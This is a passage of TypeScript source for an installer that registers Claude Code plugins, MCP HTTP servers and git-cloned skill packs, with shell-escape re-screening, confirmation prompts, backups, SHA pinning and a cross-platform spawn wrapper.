`~/.claude.json` directly. Sister `readClaudeConfig.isPluginRegistered()`.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isPluginRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// Parse `<plugin>@<marketplace>` and the marketplace URL/owner-repo from the\n// manifest cmd. cmd shape (per real manifests + CC docs):\n// `/plugin marketplace add <owner/repo-or-url> && /plugin install <plugin>@<marketplace>`\n// OR\n// `/plugin install <plugin>@<marketplace>` (marketplace pre-registered)\n// We extract:\n// - marketplaceRef: the token after `marketplace add` (can be owner/repo or URL)\n// - pluginAtMkt: the `<plugin>@<marketplace>` token after `plugin install`\ninterface ParsedCmd {\n marketplaceRef: string | null\n pluginAtMkt: string\n}\nfunction parseCmd(cmd: string): ParsedCmd | null {\n // marketplaceRef\n const mktMatch = cmd.match(/(?:\\/?plugin)\\s+marketplace\\s+add\\s+(\\S+)/i)\n // pluginAtMkt — strip leading slash, strip trailing semicolons/&&\n const pluginMatch = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!pluginMatch || pluginMatch[1] === undefined) return null\n const pluginAtMkt = pluginMatch[1].replace(/[;&]+$/, '')\n if (!pluginAtMkt.includes('@')) return null\n const mktRef = mktMatch && mktMatch[1] !== undefined ? mktMatch[1] : null\n return {\n marketplaceRef: mktRef,\n pluginAtMkt,\n }\n}\n\nexport const installCcPluginMarketplace: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installCcPluginMarketplace received non-cc-plugin-marketplace method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const parsed = parseCmd(install.cmd)\n if (!parsed) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `cc-plugin-marketplace cmd must contain \\`plugin install <plugin>@<marketplace>\\` (parsed from: '${install.cmd.slice(0, 100)}')`,\n 'cc-plugin-shape',\n ),\n suggest:\n 'see manifests/tools/ralph-loop.yaml or manifests/tools/superpowers.yaml for shape',\n },\n }\n }\n const pluginName = parsed.pluginAtMkt.split('@')[0] ?? parsed.pluginAtMkt\n\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json) — CWD-independent,\n // EPERM-free in read-only launch dirs. Sister mcpStdioAdd v3.0.2 scope flip.\n const installArgs = ['plugin', 'install', parsed.pluginAtMkt, '--scope', 'user']\n const allArgs: string[][] = []\n if (parsed.marketplaceRef !== null) {\n allArgs.push(['plugin', 'marketplace', 'add', parsed.marketplaceRef])\n }\n allArgs.push(installArgs)\n\n // H2 defense-in-depth — re-screen every arg of every step.\n for (const argSet of allArgs) {\n for (const a of argSet) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed cc-plugin arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n }\n\n // v3.0.2: `--scope user` writes ~/.claude.json (user-global enabledPlugins\n // map) instead of <cwd>/.claude/settings.json (project-local). Diff target\n // updated to mirror. No `--dry-run` flag on `claude plugin install` — cmd\n // echo remains the audit trail.\n const settingsFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify({ enabledPlugins: { [parsed.pluginAtMkt]: true } }, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: settingsFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json enabledPlugins map by \\`claude plugin install --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches from a read-only CWD.\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n\n // Step 1 — marketplace add (D-20: non-zero is non-fatal; step 2 is the decider).\n let stepOneStderr = ''\n if (parsed.marketplaceRef !== null) {\n const r1 = await runArgs(['plugin', 'marketplace', 'add', parsed.marketplaceRef], spawnCwd)\n stepOneStderr = r1.stderr\n // intentional: do not return on r1.exitCode !== 0\n }\n\n // Step 2 — plugin install. This is the authoritative outcome decider.\n const r2 = await runArgs(installArgs, spawnCwd)\n if (r2.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude plugin install exited ${r2.exitCode}: ${r2.stderr.slice(0, 200)}${stepOneStderr ? ` | marketplace-add stderr: ${stepOneStderr.slice(0, 100)}` : ''}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale.\n const registered = await isPluginRegistered(pluginName)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: plugin '${pluginName}' not found in enabledPlugins map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude plugin install wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsFile] }\n}\n","// Phase 1.2 cross-OS spawn wrapper per ADR 0004 contract 6 + Pattern D + H.\n//\n// IMPL NOTE (Rule 1 / R03 § 3.7): Windows uses `cmd.exe /c <cmd> <args...>`\n// because npm/npx/claude shipped as .cmd shims under Win, and POSIX-style\n// `/bin/sh -c` is unavailable on raw Win (only inside Git-Bash/WSL). Unix\n// uses `/bin/sh -c \"<cmd> <joined-args>\"` so single-string cmds with pipes /\n// redirections still work consistently with what users typed in the manifest.\n//\n// IMPL NOTE (Rule 1 / B1 hotfix defense-in-depth, PATTERNS Pattern D pre-pass):\n// re-run `checkCmdString()` on the cmd right before spawn(). The phase 1.1.1\n// security gate in `validate.ts` already screens manifests, but a future\n// caller (phase 1.4 routing-engine / test harnesses / direct installer use\n// without validate.ts) might hand us an unvalidated cmd. Refuse to spawn\n// shell-escape patterns even at this layer — InstallResult `phase: 'preflight'`\n// + keyword `'security'` returned, never thrown.\n//\n// Pattern C: returns Result-shaped object {ok:true|false} — no throws on\n// expected paths (timeout, non-zero exit, security gate). Unexpected errors\n// (e.g. cmd binary not found / EACCES) bubble out as throws — the caller\n// (installer dispatch) catches and wraps.\n//\n// v3.0.2 hotfix (Windows cold-install timeout): npm-cli installers running\n// `npx --yes <pkg>@<ver> install` need >15s on Windows cold cache (user\n// reported gsd install timing out at 10s/15s). spawnCmd now accepts an\n// explicit `timeoutMs` arg from the caller — installers pass 60_000ms for\n// the install step; verify continues to honor spec.verify.timeout_ms (default\n// 15s) so manifest authors retain control. The pre-v3.0.2 bug: install spawn\n// was reading verify.timeout_ms (cross-purpose; verify-only field) which\n// shortened install timeout to whatever manifest authors set for verify.\n\nimport { type ChildProcess, spawn } from 'node:child_process'\nimport { checkCmdString } from '../../manifest/security.js'\nimport type { InstallContext, InstallResult } from './types.js'\n\nexport const DEFAULT_VERIFY_TIMEOUT_MS = 15_000\n/** v3.0.2: explicit install-step timeout — Windows cold npm/npx cache can\n * exceed 30-45s on first install. 60s default keeps fast-path zippy while\n * not failing legitimate cold installs. */\nexport const DEFAULT_INSTALL_TIMEOUT_MS = 60_000\n\nexport interface SpawnOk {\n ok: true\n exitCode: number\n stdout: string\n stderr: string\n}\n\n/**\n * Spawn `cmd args...` under the platform's default shell with B1 defense-\n * in-depth, env injection, cwd from manifest, and timeout.\n *\n * v3.0.2: `timeoutMs` is now an explicit caller-supplied arg. Pre-v3.0.2\n * read `spec.verify.timeout_ms` for BOTH install and verify spawns — a bug\n * because verify.timeout_ms is verify-only (e.g. gsd manifest sets 10000ms\n * for fast `--version` verify, but install needs >30s on Windows cold cache).\n * Callers now pass the timeout explicitly: installers use\n * DEFAULT_INSTALL_TIMEOUT_MS (60s), verify callers pass\n * `verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS` (15s).\n *\n * Returns:\n * - `SpawnOk` on completion (any exit code; caller decides if non-zero\n * means failure based on context — install vs verify vs idempotent_check)\n * - `InstallResult` failure shape on security gate / timeout\n */\nexport async function spawnCmd(\n ctx: InstallContext,\n cmd: string,\n args: string[],\n timeoutMs?: number,\n): Promise<SpawnOk | InstallResult> {\n // 1. B1 defense-in-depth — re-check the literal cmd string for shell escapes.\n const violation = checkCmdString(cmd)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `shell escape detected at spawn boundary: '${violation.label}' (${violation.hint}) — refusing to execute. v0.1 forbids dynamic shell evaluation; this is a defense-in-depth gate after schema validation.`,\n line: null,\n column: null,\n keyword: 'security-gate-bypass',\n },\n }\n }\n\n // 2. Platform branch — Win cmd.exe vs POSIX /bin/sh.\n const installCfg = ctx.manifest.spec.install\n // v3.0.2: timeoutMs MUST be explicit (back-compat: undefined → 60s install default).\n const effectiveTimeoutMs = timeoutMs ?? DEFAULT_INSTALL_TIMEOUT_MS\n const env = { ...process.env, ...(installCfg.env ?? {}) }\n const cwd = installCfg.cwd ?? ctx.cwd\n\n let child: ChildProcess\n if (process.platform === 'win32') {\n child = spawn('cmd.exe', ['/c', cmd, ...args], { cwd, env, windowsHide: true })\n } else {\n const joined = args.length > 0 ? `${cmd} ${args.join(' ')}` : cmd\n child = spawn('/bin/sh', ['-c', joined], { cwd, env })\n }\n\n // 3. Collect stdout/stderr + race against timeout.\n let stdout = ''\n let stderr = ''\n child.stdout?.setEncoding('utf8').on('data', (chunk: string) => {\n stdout += chunk\n })\n child.stderr?.setEncoding('utf8').on('data', (chunk: string) => {\n stderr += chunk\n })\n\n return await new Promise<SpawnOk | InstallResult>((resolve) => {\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn timed out after ${effectiveTimeoutMs}ms (cmd: ${cmd}); partial stderr: ${stderr.slice(0, 200)}`,\n line: null,\n column: null,\n keyword: 'spawn-timeout',\n },\n })\n }, effectiveTimeoutMs)\n\n child.on('error', (err) => {\n clearTimeout(timer)\n resolve({\n ok: false,\n phase: 'spawn',\n error: {\n file: ctx.manifest.metadata.name,\n path: '/spec/install/cmd',\n message: `spawn failed: ${err.message}`,\n line: null,\n column: null,\n keyword: 'spawn-error',\n },\n })\n })\n\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ ok: true, exitCode: code ?? -1, stdout, stderr })\n })\n })\n}\n","// Phase 2.1 install method 4/6 — cc-skill-pack × git-clone-with-setup per ADR\n// 0004 § 5 + ADR 0007 install_type=git + ADR 0010 errata D-15.\n//\n// IMPL NOTE (Rule 1 / D-15): git_ref HEAD/main/master rejection is ALREADY\n// enforced by preflight.ts (git_ref shape regex). We do NOT re-implement that\n// here. Between spawn and verify we ADD a `git rev-parse HEAD` SHA-match\n// step (inline ≤10 lines per D-15 — only one caller; lib/gitVerify.ts would be\n// YAGNI). Mismatch → InstallError keyword:'sha-mismatch'.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; spawnCmd handles cross-OS\n// shell + B1 defense-in-depth in one place. Mirrors npmCli architecture.\n//\n// IMPL NOTE (Rule 1 / pure-create backup): git-clone creates new dirs (does\n// not edit existing files). DiffPlan.files entries use `oldText:''` per the\n// types.ts contract — backup writes a \"pure-create sentinel\" so rollback can\n// `rm -rf` the cloned dir.\n//\n// IMPL NOTE (Rule 1 / strict SHA pin per ADR 0001 版本锁哲学): the schema\n// regex permits SHA(7-40 hex) OR SemVer (v1.2.3); this installer enforces the\n// stricter SHA-only invariant for git_ref because `git rev-parse HEAD` after\n// `git clone --branch <tag>` produces a SHA, and SHA↔tag is not an authority\n// match — the SHA IS the authority. Real manifests already follow this:\n// ui-ux-pro-max.yaml + gstack.yaml both pin full 40-hex SHA. SemVer values\n// reaching this code path are surfaced as an installer-layer error (NOT a\n// silent skip), aligned with ADR 0001's reproducibility requirement.\n\nimport { spawn } from 'node:child_process'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// D-15 inline SHA-verify. Runs `git rev-parse HEAD` in the cloned dir,\n// compares against the manifest's git_ref. Only invoked after a successful\n// clone; called once per install — no lib helper warranted (YAGNI).\nfunction gitRevParseHead(cwd: string, timeoutMs = 10_000): Promise<{ sha: string; exit: number }> {\n return new Promise((resolve) => {\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'git', 'rev-parse', 'HEAD'], { cwd, windowsHide: true })\n : spawn('git', ['rev-parse', 'HEAD'], { cwd, shell: false })\n let stdout = ''\n child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n stdout += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ sha: '', exit: -1 })\n }, timeoutMs)\n child.on('error', () => {\n clearTimeout(timer)\n resolve({ sha: '', exit: -1 })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ sha: stdout.trim(), exit: code ?? -1 })\n })\n })\n}\n\n// Extract the target clone directory from the manifest cmd. Required: we\n// must know the directory to run `git rev-parse HEAD` against post-clone. If\n// the cmd shape can't be parsed, we fail preflight clearly (no silent\n// fallback). Walks `git clone [flags] <url> <dest>` to find <dest>.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n // tokens[i] is the URL; tokens[i+1] is the dest. End-of-clause guards\n // (&&, ;, |) means the manifest omitted dest — git would default to a\n // repo-name dir in cwd, which is fragile; require explicit dest.\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const installGitCloneWithSetup: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installGitCloneWithSetup received non-git-clone-with-setup method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // Strict SHA-pin (ADR 0001 + D-15). Schema regex permits SemVer too, but\n // this installer enforces the tighter invariant: rev-parse HEAD returns a\n // SHA, so the authority must be a SHA. SemVer git_ref → preflight-layer error.\n if (!/^[a-f0-9]{7,40}$/.test(install.git_ref)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/git_ref',\n `git-clone-with-setup requires a full SHA git_ref (7-40 hex), got '${install.git_ref}' (ADR 0001 reproducibility — SHA is the only stable authority for git_rev-parse HEAD verification)`,\n 'sha-required',\n ),\n suggest: `pin git_ref to a 40-hex commit SHA from the upstream repo (e.g. \\`git rev-parse <tag-or-branch>\\` in the source)`,\n },\n }\n }\n\n // Parse clone target from cmd. Required for D-15 SHA-verify cwd; fail clear\n // if the manifest cmd shape is unsupported (`git clone <url> <dest>`).\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd does not contain a parseable \\`git clone <url> <dest>\\` invocation; D-15 SHA-verify requires an explicit destination directory`,\n 'git-clone-shape',\n ),\n suggest: 'use `git clone [flags] <url> <dest>` with an explicit destination directory',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan:\n // oldText:'' so backup writes a sentinel; rollback = `rm -rf` cloned dir.\n const name = ctx.manifest.metadata.name\n const plan: DiffPlan = {\n files: [\n {\n target: cloneTarget,\n scope: 'HOME',\n oldText: '',\n newText: `// new directory created by: ${install.cmd}\\n// pinned at git_ref ${install.git_ref}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Run the manifest cmd as-is (rm + git clone + cp + cleanup pipeline).\n // spawnCmd handles cross-OS shell + B1 re-screen. cmd is single string.\n // v3.0.2: explicit install timeout (60s — git clone over network can exceed 15s).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `git-clone-with-setup cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D-15 — SHA-verify. `git rev-parse HEAD` in clone target dir; match the\n // manifest git_ref by prefix (git's standard SHA-prefix semantics — a\n // 7-hex prefix is a valid name for the full 40-hex commit).\n const rp = await gitRevParseHead(cloneTarget)\n if (rp.exit !== 0 || !rp.sha) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git rev-parse HEAD failed in ${cloneTarget} (exit ${rp.exit}); cannot verify SHA pin '${install.git_ref}'`,\n 'sha-mismatch',\n ),\n }\n }\n if (!rp.sha.startsWith(install.git_ref)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/git_ref',\n `git_ref SHA mismatch: manifest pinned '${install.git_ref}' but HEAD is '${rp.sha}' in ${cloneTarget}`,\n 'sha-mismatch',\n ),\n }\n }\n\n // verify cmd (e.g. `test -f ~/.claude/skills/<name>/SKILL.md`).\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.git_ref, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [cloneTarget] }\n}\n","// Phase 2.1 install method 3/6 — mcp-npm × mcp-http-add per ADR 0004 § 5 + ADR 0010 errata.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd.ts v3.0.2 reasoning verbatim — `--scope project` writes\n// `<cwd>/.mcp.json` which EPERMs in read-only CWD (C:\\Windows\\System32);\n// `--scope user` writes `~/.claude.json` user-global, CWD-independent.\n// The pre-v3.0.2 CC #54803 \"user scope broken\" bug has been resolved by the\n// Claude Code team (verified via `claude mcp add --help` 2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array. Mirrors mcpStdioAdd.\n//\n// IMPL NOTE (Rule 1 / D-16 — env-resolution carve-out): `--header` values may\n// carry `${ENV_VAR}` references that look like shell escapes to B1's\n// checkCmdString. We resolve `${VAR}` from `process.env` BEFORE arg\n// construction, so the post-construction B1 re-screen sees plain values only.\n// Unset env var → InstallError keyword:'env-unset' before we touch the network.\n//\n// IMPL NOTE (Rule 1 / D-15 hot path): schema does NOT carry typed `url` or\n// `headers` fields (the install method schema has only cmd/cwd/env/args/\n// npm_version/idempotent_check). We extract the URL and headers by parsing\n// the manifest `install.cmd` string (already B1-screened by schema validate).\n// This matches the architectural discipline of \"cmd is audit-trail; we\n// reconstruct args authoritatively\". Headers parsing is conservative:\n// `--header \"Key: Value\"` (quoted) or `--header Key:\\ Value` (escaped).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. Same posture as\n// mcpStdioAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): mirrors\n// mcpStdioAdd v3.0.3 — drop spawn-based verify in favor of fs-based check\n// against the authoritative `mcpServers` map.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// D-16 — resolve ${ENV_VAR} placeholders from process.env BEFORE arg\n// construction. Returns either the resolved value or throws-style {error}.\n// Result `{ ok: false, missing: string }` lets the caller emit a clear\n// InstallError with keyword:'env-unset' (single-cause failure, no fallback).\nfunction resolveEnvVars(\n value: string,\n): { ok: true; resolved: string } | { ok: false; missing: string } {\n const pattern = /\\$\\{([A-Z_][A-Z0-9_]*)\\}/g\n let resolved = value\n let match: RegExpExecArray | null\n pattern.lastIndex = 0\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((match = pattern.exec(value)) !== null) {\n const name = match[1]\n if (name === undefined) continue\n const v = process.env[name]\n if (v === undefined || v === '') {\n return { ok: false, missing: name }\n }\n resolved = resolved.replace(match[0], v)\n }\n return { ok: true, resolved }\n}\n\n// Parse `--header \"Key: Value\"` (quoted) or `--header Key:Value` tokens out of\n// the manifest cmd. Returns a flat header list ['--header','K: V', ...]\n// suitable for direct `claude mcp add` invocation. ${ENV_VAR} resolved here.\nfunction resolveHeaders(\n cmd: string,\n): { ok: true; flat: string[] } | { ok: false; missing: string } {\n const flat: string[] = []\n // Match: --header \"...\" OR --header '...' OR --header <non-space-token>\n const re = /--header\\s+(?:\"([^\"]+)\"|'([^']+)'|(\\S+))/g\n let m: RegExpExecArray | null\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((m = re.exec(cmd)) !== null) {\n const raw: string | undefined = m[1] ?? m[2] ?? m[3]\n if (raw === undefined || raw.length === 0) continue\n const res = resolveEnvVars(raw)\n if (!res.ok) return { ok: false, missing: res.missing }\n flat.push('--header', res.resolved)\n }\n return { ok: true, flat }\n}\n\n// Extract URL from cmd. mcp-http-add cmd shape (CC docs / ADR 0001 / phase 2.1\n// research): `claude mcp add --scope project --transport http <name> <url>\n// [--header \"...\"]...`. We pick the first http(s):// token.\nfunction extractUrl(cmd: string): string | null {\n const m = cmd.match(/\\bhttps?:\\/\\/\\S+/)\n return m ? m[0] : null\n}\n\nexport const installMcpHttpAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpHttpAdd received non-mcp-http-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const url = extractUrl(install.cmd)\n if (!url) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add cmd missing http(s):// URL token (parsed from install.cmd: '${install.cmd.slice(0, 80)}')`,\n 'http-url-missing',\n ),\n }\n }\n\n // D-16: resolve --header ${ENV_VAR} BEFORE constructing addArgs. Unset env\n // var → fail clear, do not silently drop the header (would expose a public\n // unauth call to a presumed-auth server).\n const hdr = resolveHeaders(install.cmd)\n if (!hdr.ok) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add --header references unset env var '${hdr.missing}'; set it (export ${hdr.missing}=...) or remove the header from the manifest`,\n 'env-unset',\n ),\n suggest: `export ${hdr.missing}=<value> && harnessed install <name>`,\n },\n }\n }\n\n // v3.0.2 hotfix: `--scope user` writes ~/.claude.json (user-global config,\n // CWD-independent). Pre-v3.0.2 `--scope project` writes <cwd>/.mcp.json\n // which EPERMs in read-only CWD. Mirrors mcpStdioAdd v3.0.2 scope flip.\n const addArgs = ['mcp', 'add', '--scope', 'user', '--transport', 'http', ...hdr.flat, name, url]\n\n // H2 defense-in-depth — re-screen each constructed arg. Header values were\n // env-resolved above, so no ${VAR} pattern reaches this check; URL is a\n // plain http(s) string.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-http-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global, `--scope user`)\n // instead of <cwd>/.mcp.json (project-local). Entry shape per CC spec:\n // { [name]: { type: 'http', url, headers: {Key:Value} } } — non-stdio.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n // Reassemble headers as an object for the diff preview (purely informational).\n const headersObj: Record<string, string> = {}\n for (let i = 0; i < hdr.flat.length; i += 2) {\n const kv = hdr.flat[i + 1]\n if (!kv) continue\n const ci = kv.indexOf(':')\n if (ci > 0) headersObj[kv.slice(0, ci).trim()] = kv.slice(ci + 1).trim()\n }\n const entry =\n Object.keys(headersObj).length > 0\n ? { [name]: { type: 'http', url, headers: headersObj } }\n : { [name]: { type: 'http', url } }\n const newEntry = JSON.stringify(entry, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches harnessed from a read-only CWD.\n 